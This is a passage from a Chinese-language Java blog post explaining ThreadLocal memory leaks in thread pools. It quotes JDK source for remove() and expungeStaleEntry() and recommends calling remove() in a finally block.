实例的强引用时,Key部分能够被GC正常回收。然而,关键在于Entry的Value部分,它直接或间接地持有着强引用的对象,即使Key因为弱引用特性被回收,但Value所引用的数据却不会随之释放,除非明确移除或者整个
ThreadLocalMap
随着线程结束而失效。

所以,在线程池中,如果未正确清理不再使用的
ThreadLocal
变量,其所持有的强引用数据将在多个任务执行过程中逐渐积累并驻留在线程的
ThreadLocalMap
中,从而导致潜在的内存泄露风险。

ThreadLocal如何避免内存泄漏

经过上述
ThreadLocal
原理以及发生内存泄漏的分析,我们知道防止内存泄漏,我们一定要在完成线程内的任务后,调用
ThreadLocal

remove()
方法来清除当前线程中
ThreadLocal
所对应的值。其
remove
方法源码如下:

 public void remove() {
	 ThreadLocalMap m = getMap(Thread.currentThread());
	 if (m != null) {
		 m.remove(this);
	 }
 }


remove()
方法中,首先根据当前线程获取
ThreadLocalMap
类型的对象,如果不为空,则直接调用该对象的有参
remove()
方法移除value的值。
ThreadLocalMap

remove
方法源码如下:

private void remove(ThreadLocal<?> key) {
	Entry[] tab = table;
	int len = tab.length;
	int i = key.threadLocalHashCode & (len-1);
	for (Entry e = tab[i];
		 e != null;
		 e = tab[i = nextIndex(i, len)]) {
		if (e.get() == key) {
			e.clear();
			expungeStaleEntry(i);
			return;
		}
	}
}

由上述
ThreadLocalMap
中的
set()
方法知道
ThreadLocal

Entry
下标是通过计算
ThreadLocal

hashCode
获得了,而
remove()
方法要找到需要移除value所在
Entry
数组中的下标时,也时通过当前
ThreadLocal
对象的
hashCode
获的,然后找到它的下标之后,调用
expungeStaleEntry
将其value也置为null。我们继续看一下
expungeStaleEntry
方法的源码:

private int expungeStaleEntry(int staleSlot) {
	Entry[] tab = table;
	int len = tab.length;

	// expunge entry at staleSlot
	tab[staleSlot].value = null;
	tab[staleSlot] = null;
	size--;

	// Rehash until we encounter null
	Entry e;
	int i;
	for (i = nextIndex(staleSlot, len);
		 (e = tab[i]) != null;
		 i = nextIndex(i, len)) {
		ThreadLocal<?> k = e.get();
		if (k == null) {
			e.value = null;
			tab[i] = null;
			size--;
		} else {
			int h = k.threadLocalHashCode & (len - 1);
			if (h != i) {
				tab[i] = null;

				// Unlike Knuth 6.4 Algorithm R, we must scan until
				// null because multiple entries could have been stale.
				while (tab[h] != null)
					h = nextIndex(h, len);
				tab[h] = e;
			}
		}
	}
	return i;
}


expungeStaleEntry()
方法中,会将
ThreadLocal
为null对应的
value
设置为null,同时会把对应的
Entry
对象也设置为null,并且会将所有
ThreadLocal
对应的value为null的
Entry
对象设置为null,这样就去除了强引用,便于后续的GC进行自动垃圾回收,也就避免了内存泄露的问题。即调用完
remove
方法之后,
ThreadLocalMap
的结构图如下:

image.png


ThreadLocal
中,不仅仅是
remove()
方法会调用
expungeStaleEntry()
方法,在
set()
方法和
get()
方法中也可能会调用
expungeStaleEntry()
方法来清理数据。这种设计确保了即使没有显式调用
remove()
方法,系统也会在必要时自动清理不再使用的
ThreadLocal
变量占用的内存资源。

需要我们特别注意的是,尽管
ThreadLocal
提供了
remove
这种机制来防止内存泄漏,但它并不会自动执行相关的清理操作。所以为了确保资源有效释放并避免潜在的内存泄露问题,我们应当在完成对
ThreadLocal
对象中数据的使用后,及时调用其
remove()
方法。我们最好(也是必须)是在
try-finally
代码块结构中,在
finally
块中明确地执行
remove()
方法,这样即使在处理过程中抛出异常,也能确保
ThreadLocal
关联的数据被清除,从而有利于GC回收不再使用的内存空间,避免内存泄漏。

总结

本文探讨了
ThreadLocal
的工作原理以及其内存泄漏问题及解决策略。
ThreadLocal
通过为每个线程提供独立的变量副本,实现多线程环境下的数据隔离。其内部通过
ThreadLocalMap
与当前线程绑定,利用弱引用管理键值对。但是,如果未及时清理不再使用的
ThreadLocal
变量,可能导致内存泄漏,尤其是在线程池场景下。解决办法包括在完成任务后调用remove方法移除无用数据。正确理解和使用
ThreadLocal
能够有效提升并发编程效率,但务必关注潜在的内存泄漏风险。

本文已收录于我的个人博客:
码农Academy的博客,专注分享Java技术干货,包括Java基础、Spring Boot、Spring Cloud、Mysql、Redis、Elasticsearch、中间件、架构设计、面试题、程序员攻略等